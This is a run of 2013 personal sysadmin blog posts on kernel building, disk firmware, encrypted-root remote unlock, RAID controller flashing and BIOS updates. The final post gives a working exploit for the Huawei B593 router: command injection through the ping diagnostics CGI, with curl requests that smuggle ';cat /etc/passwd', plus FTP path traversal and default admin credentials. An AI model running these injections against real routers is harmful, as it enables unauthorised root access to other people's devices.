# We do this so we have "known good" kernel to troubleshoot
# if something goes wrong and also for suitable kernel config file
mkdir -p /opt/src/3.11
cd /opt/src/3.11
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.1-saucy/linux-headers-3.11.1-031101-generic_3.11.1-031101.201309141102_amd64.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.1-saucy/linux-headers-3.11.1-031101_3.11.1-031101.201309141102_all.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.1-saucy/linux-image-3.11.1-031101-generic_3.11.1-031101.201309141102_amd64.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.1-saucy/0001-base-packaging.patch
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.1-saucy/0002-debian-changelog.patch
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11.1-saucy/0003-configs-based-on-Ubuntu-3.11.0-7.13.patch
dpkg -i linux-*3.11.1*.deb

# Deps for compiling kernel
apt-get -y install git-core kernel-package fakeroot build-essential ncurses-dev

# Download aufs, must match with kernel installed
mkdir -p /opt/src/aufs
cd /opt/src/aufs
git clone git://aufs.git.sourceforge.net/gitroot/aufs/aufs3-standalone.git aufs3-standalone.git
cd aufs3-standalone.git
git checkout origin/aufs3.11

# Get kernel source
mkdir -p /opt/src/3.11aufs
cd /opt/src/3.11aufs
wget http://www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.1.tar.bz2

# Extract and patch with Ubuntu configs
tar xvjf linux-3.11.1.tar.bz2
cd linux-3.11.1
patch -p1 </opt/src/3.11/0001-base-packaging.patch
patch -p1 </opt/src/3.11/0002-debian-changelog.patch
patch -p1 </opt/src/3.11/0003-configs-based-on-Ubuntu-3.11.0-7.13.patch

# Apply aufs patches
patch -p1 </opt/src/aufs/aufs3-standalone.git/aufs3-base.patch
patch -p1 </opt/src/aufs/aufs3-standalone.git/aufs3-standalone.patch

# Compile kernel and generate new dpkgs
#cp /boot/config-$(uname -r) ./.config
cp /boot/config-3.11.1-031101-generic .config
make olddefconfig
CONCURRENCY_LEVEL=8 fakeroot make-kpkg --initrd --append-to-version=-aufs kernel_image kernel_headers

# Make sure ohci-pci USB driver is loaded during initramfs
echo "ohci-pci" >>/etc/initramfs-tools/modules

# Install new kernel
cd ..
dpkg -i linux-headers-3.11.1-aufs_3.11.1-aufs-10.00.Custom_amd64.deb \
        linux-image-3.11.1-aufs_3.11.1-aufs-10.00.Custom_amd64.deb

# Prevent future kernel updates breaking things
echo "linux-image-3.11.1-aufs hold"             | dpkg --set-selections
echo "linux-headers-3.11.1-aufs hold"           | dpkg --set-selections
echo "linux-image-3.11.1-031101-generic hold"   | dpkg --set-selections
echo "linux-headers-3.11.1-031101-generic hold" | dpkg --set-selections

# For new Ubuntu versions with silly grub submenu layout
# https://help.ubuntu.com/community/Grub2/Submenus#Setting_a_Submenu_entry_as_the_default
sed -i.bak /etc/default/grub \
    -e's|^GRUB_DEFAULT=.*|GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 3.11.1-aufs"|g'

# For older versions such as 12.04
sed -i.bak /etc/default/grub \
    -e's|^GRUB_DEFAULT=.*|GRUB_DEFAULT="Ubuntu, with Linux 3.11.1-aufs"|g'

# and run update-grub
update-grub

# Reboot

# Next aufs module
cd /opt/src/aufs/aufs3-standalone.git/

# Enable hnotify, allows direct access to branches bypassing aufs
sed -i.bak config.mk \
    -e's|^CONFIG_AUFS_HNOTIFY.*|CONFIG_AUFS_HNOTIFY = y|g' \
    -e's|^CONFIG_AUFS_HFSNOTIFY.*|CONFIG_AUFS_HFSNOTIFY = y|g'

# Fix missing binary that prevents compiling aufs
cd /opt/src/3.11aufs/linux-3.11.1/scripts/
gcc unifdef.c -o unifdef
cd -

# Compile aufs
make

# Install aufs
make install
depmod -a

# We skip aufs-utils install as they're pointless

# Additionally if you want ddbridge DVB card drivers do this

# DVB
mkdir -p /opt/src/3.11-dvb
cd /opt/src/3.11-dvb
# Grab version with required drivers
hg clone http://linuxtv.org/hg/~endriss/media_build_experimental
cd media_build_experimental
# Use latest version
#sed -i.bak linux/Makefile \
#    -e's|^LATEST_TAR :=.*|LATEST_TAR := http://linuxtv.org/downloads/drivers/linux-media-2013-09-04.tar.bz2|g' \
#    -e's|^LATEST_TAR_MD5 :=.*|LATEST_TAR_MD5 := http://linuxtv.org/downloads/drivers/linux-media-LATEST.tar.bz2.md5|g'
sed -i.bak linux/Makefile \
    -e's|^LATEST_TAR :=.*|LATEST_TAR := http://linuxtv.org/downloads/drivers/linux-media-LATEST.tar.bz2|g' \
    -e's|^LATEST_TAR_MD5 :=.*|LATEST_TAR_MD5 := http://linuxtv.org/downloads/drivers/linux-media-LATEST.md5|g'
# Download
make download
# Fix download source from slooooow dyndns to proper mirror
# Difference? 60+ minutes vs. 5 seconds. Yes, really.
sed -i.bak experimental/add-drivers \
    -e's|fetch_hg_repo "http://powarman.dyndns.org/hg/v4l-dvb-saa716x" "v4l-dvb-saa716x" \|\| ||g'
# Unpack and download more
make untar
#make menuconfig
# Compile
make
# Install
make install

# Reboot since it's not possible to unload and reload ddbridge driver without crashing kernel
reboot

USB keyboard doesn't work during initramfs with Ubuntu 12.04 / 12.10 / 13.04 after upgrading kernel

Add "ohci-pci" to /etc/initramfs-tools/modules and run "update-initramfs -c -k all". This problem occurs because unlike other USB drivers ohci-pci is compiled as module.

Sunday, September 22, 2013

Updating Seagate ST3000DM001-9YN166 to CC4H firmware while in external USB 3.0 enclosure

Some time ago I purchased external 3TB USB 3.0 hard disks, TrekStor DataStation maxi light 3TB to be exact. It seem disk models and manufactures used by TrekStor vary, which is no surprise. Therefore I have externally identical disk enclosures with three different models of disks due making three separate purchases over few months.

1st purchase in March 2013: Seagate ST3000DM001-9YN166, firmware CC4B
2nd purchase in April 2013: Seagate ST3000DM001-1CH166, firmware CC44
3rd purchase in August 2013: Toshiba DT01ACA300, firmware MX6OABB0

One with CC4B firmware makes annoying clicking sound and occasional screams which can be cured by either doing firmware upgrade or by disabling APM with hdparm or smartctl. I prefer fixing it once and for all by firmware upgrade. CC44 Seagate and Toshiba are fine, no need to update those.

But how to upgrade firmware when disk is in external USB 3.0 enclosure? Firmware upgrade tool supplied by Seagate runs in DOS and can't upgrade USB disks. Pulling disk and connecting it to AHCI SATA controller would be easy, but there's one those lovely warranty void if seal is broken stickers. Warranty from Seagate would be enough for me even with TrekStor warranty voided, but no luck with that either - disks are OEM versions so no warranty service available from Seagate.

This leaves us only one option: Upgrade firmware over USB. Luckily hdparm can do just that assuming this feature actually works. It might not. And when it doesn't work it will leave your hdd permanently inoperable. Same will happen if you flash wrong firmware so watch out.

Anyway, I can confirm that upgrading 9YN166 from CC4B to CC4H does indeed work over USB3 with TrekStore enclosure.

- Download ISO image version of CC4H firmware update from http://knowledge.seagate.com/articles/en_US/FAQ/223651en
- Mount Barracuda-ALL-GRCC4H.iso ISO-image
- Mount GR-CC4H.ima floppy-image you can find inside ISO
- Unpack LOD.zip which is inside floppy-image
- Now you're left with three firmware upgrade files: GRCC4H6H.LOD, GRCC4H4H.LOD and GRCC4H2H.LOD.
- See decrypted update matrix available on http://www.users.on.net/~fzabkar/HDD/GR-CC4H.TXT to determine which firmware file is correct for your drive. In my case it was GRCC4H6H.LOD.
- Next make sure disk is unmounted so there's no I/O going on during update
- Update disk with following command assuming it's named /dev/sdf
hdparm --fwdownload GRCC4H6H.LOD --yes-i-know-what-i-am-doing --please-destroy-my-drive /dev/sdf
- You'll see bunch of dots and then it hangs for a while. Soon you'll see scary error message and drive emits screeching noise. PANIC! Naah, relax, it's all fine and dandy.
- Wait for a while and power cycle disk using power switch on back of enclosure.
- Verify it still works and check firmware version, it should say CC4H now.

Worked for me, all data is still there and quick checking with md5sum shows no silent errors either. Which was nice.

Since this procedure might be picky regarding hardware and software here's some relevant details:
- Renesas (NEC) USB 3.0 controller model D720202 (PCI ID 1912:0015)
- D-Link 4-port USB 3.0 hub (DUB-1340)
- Ubuntu 12.04 x64 with 3.5.0-37-generic #58~precise1 kernel
- hdparm v9.37



Wednesday, September 18, 2013

Enable TRIM for SSD with ext4, dmcrypt and md

Depending on why you're encrypting your SSDs it might be acceptable to enable TRIM (aka discard). With this configuration observing raw content on SSDs will reveal which blocks are used and which aren't. Doesn't matter for me, but might not be same for you.

How useful TRIM is varies between SSD controller manufacturers. Especially SandForce when paired with encrypted filesystem is good candidate for TRIM use. SandForce compresses data before writing to flash chips and encrypted data doesn't compress at all. If you want compression try using ROT13 cipher with dmcrypt. :) Anyway, design of SandForce SSDs assumes some average data compression ratio and can get with less reserved space even with TRIM disabled, but that isn't true anymore with crypto.

To enable TRIM with dmcrypt simply edit /etc/crypttab and replace "luks" with "luks,discard".

For ext4 edit /etc/fstab and add "discard" to mount options.

MD doesn't require configuration as with recent kernels it will passthru trim commands.

Finally update initramfs with "update-initramfs -u".

After making crypttab edit reboot. Then run "fstrim -v /boot; fstrim -v /", edit fstab and reboot. This will trim any unused blocks on your SSDs instantly and not only after you've used them once.

For more details check these two blog posts:

http://blog.neutrino.es/2013/howto-properly-activate-trim-for-your-ssd-on-linux-fstrim-lvm-and-dmcrypt/

http://clusterbuffer.wordpress.com/2011/10/02/how-do-you-know-trim-is-working-with-your-ssd-in-your-system/


Ubuntu Server 12.04.3 / 12.10 / 13.04 / 13.10 with encrypted md mirrored rootfs and remote ssh unlock

My original plan was to boot from ZFS, but combining it with encryption and especially with mirrored disks turned out to be too troublesome. Yes, I did get it working and booting, but resulting configuration required manual fixing each time new kernel was installed. And don't even think about doing upgrade to next Ubuntu version.

Therefore I decided to stay with old and create md mirrored /boot (ext4, unencrypted) and md mirrored / (ext4, dmcrypt). This machine will be hosting KVM virtual machines and ZFS as storage for them. So it doesn't really need root on ZFS.


Boot from Ubuntu Server 12.04.3 install media

If there's any existing partitions delete them all AND REBOOT.

Proceed as usual until disk partitioning prompts. BTW, say NO to encrypt home with eCryptfs question earlier.

Select Manual partitioning.

Create new partitions on both SSDs:
- Size 500MB, Primary, Beginning of disk, Use as: Physical volume for RAID, Bootable flag: ON
- Size xxGB, Primary, Beginning of disk, Use as: Physical volume for RAID, Bootable flag: OFF

Configure software RAID
- Create MD device
- RAID1, Active devices 2, Spare devices 0, pick both 500MB partitions
- Create MD device
- RAID10, Active devices 2, Spare devices 0, pick both xxGB partitions
- Notice we're using RAID10 for root even with only two underlying devs. This will double your read performance compared to RAID1 (maybe). Yes, I'm serious. Trust me, I know what I'm doing.

Configure encrypted volumes
- Create encrypted volumes
- xxGB mirror should be visible as /dev/md1, select it
- Default for crypto are ok

Select md1_crypt. Format as ext4, mount point /, label root
Select md0 500MB and format as ext with mount point /boot, label boot

Finnish partitioning and write changes to disk

Yes, we want to boot even with degraded RAID
No, we don't need swap
Yes, write changes to disk

Rest is usual Ubuntu Server install - Except when/if you get asked for location of grub boot sector. Pick your first disk, typically /dev/sda. Installer will suggets /dev/md, but no such device exist. We'll install boot loader to other side of mirror later.

Boot, should prompt for password during initramfs.

Login, sudo to root, fix second disk boot sector
grub-install /dev/sdb (or whatever it is)
Reboot

Pretty standard and straightforward so far. Rest of steps are for enabling remote unlock of encrypted root. Mix of own attempts combined with several partial solutions found from The Interwebs.


# Apply updates and install both ssh servers we need for remote unlock over ssh
apt-get update
apt-get -y dist-upgrade
apt-get -y install openssh-server dropbear
 
# As usual, opensource quality bites us again. Remote unlocking in
# Debian and Ubuntu has been broken for years. Usual fix people do is
# hack and slash dropbear initramfs scripts. Not only those instructions
# are incomplete they also break if you don't blacklist dropbear from
# updates. Also upgrading to newer release of Ubuntu breaks them. No good.
 
# To workaround these problems we create new script named dropbear.fixup
# rather than touch any existing scripts. I've tested this and it does
# indeed survive updating 12.04.3 -> 12.10 -> 13.04 and even to 13.10 beta.
# Most of this script comes from someones blog. Thanks!
 
# There's interesting "feature" in 13.10 initramfs. It doesn't load
# drivers for USB keyboard at all and therefore only way to unlock such
# system is via SSH - and even that only with hack below implemented
# prior installing or upgrading to 13.10.
 
# Create script to run whenever initramfs is created and apply fixups
cat >/usr/share/initramfs-tools/hooks/dropbear.fixup <<'__EOF__'
#!/bin/sh
PREREQ="dropbear"
prereqs() {
    echo "$PREREQ"
}
case "$1" in
    prereqs)
        prereqs
        exit 0
    ;;
esac
  
. "${CONFDIR}/initramfs.conf"
. /usr/share/initramfs-tools/hook-functions
  
if [ "${DROPBEAR}" != "n" ] && [ -r "/etc/crypttab" ] ; then
 
# Create missing nsswitch.conf
echo "passwd: files" > "${DESTDIR}/etc/nsswitch.conf"
 
# Create missing shadow
grep "^root:" /etc/shadow > "${DESTDIR}/etc/shadow"
 
# Copy missing libs
cp /lib/x86_64-linux-gnu/libnss_* "${DESTDIR}/lib/"
 
# Create unlock script
cat > "${DESTDIR}/bin/unlock" << _EOF_
#!/bin/sh
if PATH=/lib/unlock:/bin:/sbin /scripts/local-top/cryptroot; then
    kill \`ps | grep cryptroot | grep -v "grep" | awk '{print \$1}'\`
    exit 0
fi
exit 1
_EOF_
chmod 755 "${DESTDIR}/bin/unlock"
 
# No idea :)
mkdir -p "${DESTDIR}/lib/unlock"
cat > "${DESTDIR}/lib/unlock/plymouth" << _EOF_
#!/bin/sh
[ "\$1" == "--ping" ] && exit 1
/bin/plymouth "\$@"
_EOF_
chmod 755 "${DESTDIR}/lib/unlock/plymouth"
 
# Update motd
echo To unlock root-partition run "unlock" >> ${DESTDIR}/etc/motd
 
fi
__EOF__
 
# Make it executable
chmod a+x /usr/share/initramfs-tools/hooks/dropbear.fixup

# Second script to handle converting SSH keys.
# You might NOT want to use this as now your SSH keys are stored inside
# plaintext initramfs instead of only encypted volume.
cat >/usr/share/initramfs-tools/hooks/dropbear.fixup2 <<'__EOF__'
#!/bin/sh
PREREQ="dropbear"
prereqs() {
    echo "$PREREQ"
}
case "$1" in
    prereqs)
        prereqs
        exit 0
    ;;
esac
   
. "${CONFDIR}/initramfs.conf"
. /usr/share/initramfs-tools/hook-functions
   
if [ "${DROPBEAR}" != "n" ] && [ -r "/etc/crypttab" ] ; then
  
# Convert SSH keys
/usr/lib/dropbear/dropbearconvert openssh dropbear /etc/ssh/ssh_host_dsa_key ${DESTDIR}/etc/dropbear/dropbear_dss_host_key
/usr/lib/dropbear/dropbearconvert openssh dropbear /etc/ssh/ssh_host_rsa_key ${DESTDIR}/etc/dropbear/dropbear_rsa_host_key

fi
__EOF__

# Make it executable
chmod a+x /usr/share/initramfs-tools/hooks/dropbear.fixup2

# Shutdown network after exiting initramfs
cat >/usr/share/initramfs-tools/scripts/init-bottom/dropbear.fixup3 <<'__EOF__'
#!/bin/sh
PREREQ=""
prereqs() {
        echo "$PREREQ"
}
case "$1" in
        prereqs)
                prereqs
                exit 0
        ;;
esac
. /scripts/functions

# Shutdown initramfs network before passing control to regular Ubuntu scripts
# Without this network config from initramfs is used forever plus causes extra
# few minutes of delay plus errors on bootup.
ifconfig eth0 0.0.0.0 down
__EOF__

# Make it executable
chmod a+x /usr/share/initramfs-tools/scripts/init-bottom/dropbear.fixup3

# Silence error messages from stock scripts looking wrongly named libs
touch /lib/libnss_

# Prevent root logins over openssh
sed -i.bak /etc/ssh/sshd_config \
    -e's|PermitRootLogin yes|PermitRootLogin no|g'
 
# Set root password
passwd root
 
# Enable static IP as there's no DHCP servers around
sed -i.bak /etc/initramfs-tools/initramfs.conf \
    -e's|^DEVICE=|DEVICE=eth0\nIP=192.168.249.111::192.168.248.1:255.255.248.0:ubuntu:eth0|g'

# Update initramfs and grub
update-initramfs -c -k all
update-grub
 
# DONE!

Turning Dell PERC H310 to dumb biosless SAS / SATA controller

After realizing that LSI SAS1078 based controller wouldn't do what I want I ended up purchasing card from eBay, 65€ including shipping for unused, new in box Dell PERC H310. Prices are bit higher than I like, but this was acceptable knowing it will do exactly what I need. Despite trying hard card will still show up as DELL after making these changes but it's in IT-mode and accepts generic LSI firmware.

Step 1: Disable SMBus, we have no need for it.
I did this by simply cutting PCIe bus traces B5 and B6. They're 5th and 6th from left when looking board from top (component side). If you're a coward you might resort to covering them with kapton tape or using yo momma's nail polish.

Step 2: Erase on board flash. This will also erase your controller SAS address. Which I couldn't care less, we can simply invent our own. Or you could check what it's currently, write it down, erase flash, restore yada yada. Who cares.

Step 3: Flash LSI Firmware but skip flashing LSI BIOS. This way card does not show up during BIOS checks and can't be used for booting nor fakeraid, but does work fine in Linux.

Step 5: Profit!


Ok, let's go. We start by creating bootable FreeDOS USB stick with required tools.
# Below assumes your USB stick is /dev/sde. DOUBLE CHECK THIS!
# Unmount any partitions OS might have automounted from this USB device
mkdir -p /tmp/foo
cd /tmp/foo

# Get FreeDOS image, unpack, write to USB
wget http://dump.asiantuntijakaveri.fi/le_bueno_dumpo/FreeDOS-1.1-USB-Boot.img.bz2
bunzip2 FreeDOS-1.1-USB-Boot.img.bz2
dd if=FreeDOS-1.1-USB-Boot.img of=/dev/sde bs=4k

# Refresh Linux partition table list and mount USB
# This WILL fail if you didn't unmount automounted filesystem first
partprobe
mkdir mnt
mount /dev/sde1 mnt

# Download LSI tools
wget http://dump.asiantuntijakaveri.fi/le_bueno_dumpo/lsi/lsitool.zip

# Unpack tools to USB
unzip lsitool.zip -d mnt

# Unmount USB
umount mnt

Next boot computer from this USB stick and execute following magical commands. These are destructive, just so you know.

megarec -writesbr 0 sbrempty.bin
megarec -cleanflash 0

Reboot.

sas2flsh -o -f 6gbpsas.fw
sas2flsh -o -sasadd 500605b0deadbabe

Reboot.

sas2flsh -o -f 2118it2.bin

Check results.

sas2flsh -listall


P.S. If you want to revert back to regular firmware, enable LSI BIOS etc. you're on your own. Google-fu, thou shalt find.

Saturday, September 14, 2013

USB booting on VMware Workstation 9 and 10

While VMware Workstation supports passthru of USB storage devices BIOS used for virtual machines is not USB boot capable.

As a workaround download Plop Boot Manager, extract plpbt.iso, mount it as CD on your VM, boot from CD and then select boot from USB. Blah. Spinning media is so yesterday.


Wednesday, September 11, 2013

Reflashing LSI MegaRAID SAS 8708ELP (SAS1078)

I wanted to use Fujitsu OEM (D2516, "LSI Logic MegaRAID SAS PCI Express(TM) ROMB") of LSI MegaRAID 8708ELP in JBOD mode, which apparently is not possible. Out of MegaRAID products only 9240-4i and 9240-8i support true JBOD. Also 9260 and 9280 series can apparently do it via MegaCLI which is another beast to master. Rest of models can only do single disk RAID0 which isn't the same thing.

Well, seems like no JBOD for me. At least I could do firmware upgrade to latest 8708ELP code (11.0.1-0054) as Fujitsu card had over four years old firmware on it. Plus create single Virtual Disk per Physical Disk with MegaCli.

LSI firmware upgrade package contains only firmware file which is supposed to be used with DOS based MegaCLI. Since I like to keep things difficult I went with Ubuntu 12.04.3 live on USB stick instead. Following is mostly based on this blog post.

- Download ubuntu-12.04.3-desktop-amd64.iso
- Create bootable USB with Universal USB Installer 1.9.4.1 or newer
- Boot and launch root shell, network connection required
- If it doesn't boot but gives "/casper/vmlinuz: file not found" it's problem with software you used to write ISO to USB stick

# Prepare and install some deps
sudo su -
mkdir -p /opt/src/megacli
cd /opt/src/megacli
apt-get update
apt-get -y install alien lib32gcc1 lib32ncurses5 libc6-i386 lib32stdc++6 lib32tinfo5

# Download and install MegaCLI
wget http://dump.asiantuntijakaveri.fi/le_bueno_dumpo/lsi/8.07.10_MegaCLI_Linux.zip
unzip 8.07.10_MegaCLI_Linux.zip
cd "8.07.10_MegaCLI_Linux/Linux MegaCLI 8.07.10"
alien MegaCli-.07.10-1.noarch.rpm
dpkg -i megacli_8.07.10-2_a.deb

# Run MegaCLI and get number of adapters found
/opt/MegaRAID/MegaCli/MegaCli64 -adpCount

# Create symlink to make use easier
ln -s /opt/MegaRAID/MegaCli/MegaCli64 /usr/bin/MegaCli

# Now we can try to brick^Wupgrade SAS controller
# Grab new FW first
cd /opt/src/megacli
wget http://dump.asiantuntijakaveri.fi/le_bueno_dumpo/lsi/11.0.1-0054_SAS_FW_Image_1.40.282-2321.zip
unzip 11.0.1-0054_SAS_FW_Image_1.40.282-2321.zip

# Flash new firmware
MegaCli -AdpFwFlash -f mr1078fw.rom -aALL

# From here on changes are DESTRUCTIVE. That means loss of data.

# Reset adapter and volume configurations
MegaCli -CfgClr -aALL
MegaCli -AdpFacDefset -aALL
MegaCli -CfgLdDel -LALL -aALL

# Reboot here

# Check that config is sensible
MegaCli -AdpAllinfo -aALL | more

# Get list of Physical Disks, in my case they're from 252:0 to 252:7
MegaCli -PDList -aALL

# Create single RAID0 Virtual Disk per Physical Disk
MegaCli -CfgEachDskRaid0 -aALL

# Enable Cached IO, on-disk write cache, disable controller write cache
MegaCli -LDSetProp Cached -LALL -aALL
MegaCli -LDSetProp EnDskCache -LALL -aALL
MegaCli -LDSetProp WT -LALL -aALL

# Enable NCQ
MegaCli -AdpSetProp NCQEnbl -aALL

# Enable Smart
MegaCli -AdpSetProp SMARTCpyBkEnbl 1 -aALL

# Disable adapter BIOS since we're not booting via it
MegaCli -AdpBIOS Dsbl -aALL

# Disable Physical Disk fail history, 
MegaCli -AdpSetProp MaintainPdFailHistoryEnbl 0 -aALL

# That's it.

Problem with this approach of creating many RAID0 logical disks is it's not portable across disk controllers. You can't plug disks from JBOD controller to LSI RAID0 mode. Neither you can move these RAID0 disk to another controller.

BTW, all links to LSI support site are likely broken by time you read this. They're the new Microsoft doing weekly reorganizing on support site and breaking all existing links. Just because few mod_rewrite lines are too much to ask.


Tuesday, September 10, 2013

80GB Intel X25-M G2 SSD and Secure Erase

For whatever reason after updating my Intel X25-M G2 SSD to latest firmware (dated 2011) option to do secure erase disappeared. Yes, I know all about tricks of hot plugging disks etc. Secure erasing another identical X25-M G2 on same PC visible as /dev/sdb works fine. One with latest firmware simply no longer supports it which is also confirmed by hdparm -I.

I found following bash oneliner on Interwebs which seemed promising.

# Get number of sectors, 156301488 in this case
fdisk -lu /dev/sda
# Mark all sectors trimmed
i=0; while [ $i -lt 156301488 ]; do echo $i:40000; i=$(((i+40000))); done | hdparm --trim-sector-ranges-stdin --please-destroy-my-drive /dev/sda

This appears to work. However, it DOES NOT. Checking content of /dev/sda with "hexdump -C /dev/sda" reveals that there are few sectors left with data that weren't cleared for some reason. Therefore I decided to do "dd if=/dev/zero of=/dev/sda bs=16M" and after that repeat hparm trim command. Now it's empty and ready for reuse in another PC. Go figure.



Wednesday, September 04, 2013

Execute BGInfo when IP address changes

Updates IP on your BGInfo managed desktop background image when new network connection is detected. Notices also Cisco AnyConnect VPN connections. Import XML file with SchTasks.exe.

schtasks /F /Create /TN "DataSAAB IT, Autorun on Connect" /XML "C:\_DataSAAB_IT_\BGInfo\DataSAAB IT, BGInfo on Connect.xml"
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2011-11-11T11:11:11</Date>
    <Author>SYSTEM</Author>
  </RegistrationInfo>
  <Triggers>
    <EventTrigger>
      <ExecutionTimeLimit>PT30M</ExecutionTimeLimit>
      <Enabled>true</Enabled>
      <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Cisco AnyConnect Secure Mobility Client"&gt;&lt;Select Path="Cisco AnyConnect Secure Mobility Client"&gt;*[System[Provider[@Name='acvpncli'] and EventID=3020]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
    </EventTrigger>
    <EventTrigger>
      <Enabled>true</Enabled>
      <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Cisco AnyConnect Secure Mobility Client"&gt;&lt;Select Path="Cisco AnyConnect Secure Mobility Client"&gt;*[System[Provider[@Name='acvpnui'] and EventID=3020]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
    </EventTrigger>
    <EventTrigger>
      <Enabled>true</Enabled>
      <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Microsoft-Windows-NetworkProfile/Operational"&gt;&lt;Select Path="Microsoft-Windows-NetworkProfile/Operational"&gt;*[System[Provider[@Name='Microsoft-Windows-NetworkProfile'] and EventID=10000]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
    </EventTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
      <UserId>S-1-5-18</UserId>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT1H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\_DataSAAB_IT\BGinfo\Bginfo.exe</Command>
      <Arguments>/accepteula "C:\_DataSAAB_IT\BGInfo\BGInfo.bgi" /timer:0 /ALL</Arguments>
    </Exec>
  </Actions>
</Task>

Sunday, August 11, 2013

Updating HP elite 8200 bios without Windows

Quick dump of notes showing how to use Linux for creating bootable freedos usb stick with required files to upgrade HP elite 8200 bios.

# Below assumes your USB stick is /dev/sde. DOUBLE CHECK THIS!
# Unmount any partitions OS might have automounted from this USB device
mkdir -p /opt/foo
cd /opt/foo

# Get FreeDOS image, unpack, write to USB
wget http://dump.asiantuntijakaveri.fi/le_bueno_dumpo/FreeDOS-1.1-USB-Boot.img.bz2
bunzip2 FreeDOS-1.1-USB-Boot.img.bz2
dd if=FreeDOS-1.1-USB-Boot.img of=/dev/sde bs=4k

# Refresh Linux partition table list and mount USB
# This WILL fail if you don't unmount automounted filesystem first
partprobe
mkdir mnt
mount /dev/sde1 mnt

# Download bios
wget ftp://ftp.hp.com/pub/softpaq/sp61501-62000/sp61844.exe

# Unpack and copy to USB
mkdir tmp
cd tmp
# Install p7zip, p7zip-full and p7zip-rar packages first (ubuntu/debian naming)
7z x ../sp61844.exe
cp -v "DOS Flash/"* ../mnt/
echo "dosflash" >../mnt/autoexec.bat
cd ..

# Unmount USB as we're done
umount mnt

Remember to restore bios defaults after flashing for proper operation.

P.S. Since you will have problems getting this pos computer booting from USB check this too: http://blog.asiantuntijakaveri.fi/2012/06/hp-compaq-8200-elite-sff-won-boot-from.html


Saturday, August 03, 2013

Gaining root shell on Huawei B593 4G LTE router

Huawei B593 has "few" security issues. If you want to play around here's some tips.

1. Under diagnostics there's "ping" feature that allows execution of commands as root. Web interface has javascript checks but nothing on server side.

2. FTP server feature allows entering ../.. as home directory and thus full read/write access to entire filesystem, not just USB stick that was intended to be shared via FTP.

3. SSH access to "ATP" console has hidden command "shell" that drops you to root shell. Disable iptables via ping exploit and then ssh in to device using "ssh admin@192.168.1.1 -s /bin/sh" with password "admin", type "shell" and that's it.

Rest is just dump of my notes. You should be able to figure out what to do with them.

# Create cookie file for curl, only SessionID_R3 is set via HTTP headers, rest are controlled by javascript
echo -e "192.168.1.1\tFALSE\t/\tFALSE\t0\tFirstMenu\tAdmin_0"      >cookie.txt
echo -e "192.168.1.1\tFALSE\t/\tFALSE\t0\tSecondMenu\tAdmin_0_0"  >>cookie.txt
echo -e "192.168.1.1\tFALSE\t/\tFALSE\t0\tThirdMenu\tAdmin_0_0_0" >>cookie.txt

# Login and save new SessionID_R3 value, password field is your admin password in base64 encoded form
curl -bcookie.txt -ccookie.txt -H"Cookie: SessionID_R3=0; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en" -d"Username=admin&Password=YWRtaW4=" -s "http://192.168.1.1/index/login.cgi"

# Initiate ping
curl -bcookie.txt -ccookie.txt -d"foobar" -s "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|127.0.0.1|-s|32|-c|3||-W|4&RequestFile=/html/management/diagnose.asp"

# Fetch results and do little cleanup
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# cpuinfo
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;cat|/proc/cpuinfo&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# process list
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;ps&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# dump /etc/passwd
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;cat|/etc/passwd&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# busybox components compiled in
